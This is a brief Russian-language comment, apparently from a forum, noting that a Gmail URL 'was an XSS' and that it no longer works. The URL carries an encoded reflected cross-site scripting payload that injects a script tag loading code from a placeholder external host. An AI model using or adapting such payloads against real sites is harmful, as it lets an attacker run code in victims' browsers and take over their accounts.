это была XSS
http://mail.google.com/mail/?view=pr&%20%22%3E%3Cscript%20src%3Dhttp%3A//www.xxxx.com/%3E%3C/script%3E&fs=1

уже не работает)